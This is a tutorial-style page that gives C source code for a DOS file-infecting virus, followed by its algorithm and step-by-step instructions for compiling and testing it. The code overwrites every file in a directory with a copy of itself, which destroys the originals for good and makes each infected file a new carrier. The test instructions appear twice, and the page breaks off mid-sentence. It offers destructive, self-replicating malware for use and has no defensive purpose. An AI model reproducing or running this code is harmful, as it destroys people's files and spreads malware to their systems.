#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end; void main()
{
st=clock();
clrscr();
done=findfirst
(“*.*”,&ffblk,0); // Search for a file with
any extension (*.*)
while(!done)
{
virus=fopen(_argv
[0],”rb”); host=fopen
(ffblk.ff_name,”rb+”);
if(host==NULL) goto
next;
x=89088;
printf(“Infecting %s \n”,ffblk.ff_name,a);
while(x>2048)
{
fread
(buff,2048,1,virus);
fwrite (buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++; next:
{
fcloseall();
done=findnext
(&ffblk);
} }
printf(“DONE! (Total
Files Infected=
%d)”,a);
end=clock();
printf(“TIME TAKEN= %f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
The algorithm of this virus program is as follows:
Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).
Step-2: Load the copy of the virus itself onto the memory. Step-
Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close
the target file when the copying process is completed.
Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit. As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.
How to Test the Virus After the Compilation:-
1. Create a new empty folder.
2. Put some executable files (or any other files) in the folder.
3. Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.
4. Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.
NOTE: The files infected by this virus
are destroyed
completely and
cannot be recovered.
So, always test the
virus in a new folder by placing some
sample files...
2. Put some executable files (or any other files) in the folder.
3. Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.
4. Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.
NOTE: The files infected by this virus
are destroyed
completely and
cannot be recovered.
So, always test the
virus in a new folder by placing some
sample files...
